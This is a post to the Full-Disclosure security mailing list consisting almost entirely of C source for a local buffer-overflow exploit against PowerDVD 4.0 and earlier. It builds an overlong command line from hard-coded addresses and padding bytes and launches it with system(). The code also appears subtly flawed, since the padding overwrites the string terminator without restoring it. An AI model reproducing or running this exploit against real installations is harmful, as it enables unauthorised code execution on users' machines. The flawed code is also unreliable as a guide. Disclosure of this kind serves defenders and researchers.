[Full-disclosure] PowerDVD <= 4.0 local exploit

[edward GAGNON <edward11@xxxxxxxxxxxxxxxx>]

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char *argv[])
{

char cmd[500];
char *path;

printf("\n\n* usage: pdvdx.exe <path>\n\n");

if ( argc < 2 ) { printf(" need an argument!\n"); exit(0); }

path = argv[1];

sprintf(cmd, "%s ", path);
strcat(cmd, "\x44\x80\xC1\x77");
strcat(cmd, "\xDC\x7A\xC2\x77");
strcat(cmd, "\x35\x13\xC0\x77");

memset(cmd+strlen(cmd), 0x55, 299);

system(cmd);

exit(0);
}


_______________________________________________________________ 
Meet other people who share your interests.

http://www.homemaster.net - Homemaster. Come Together. Online.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/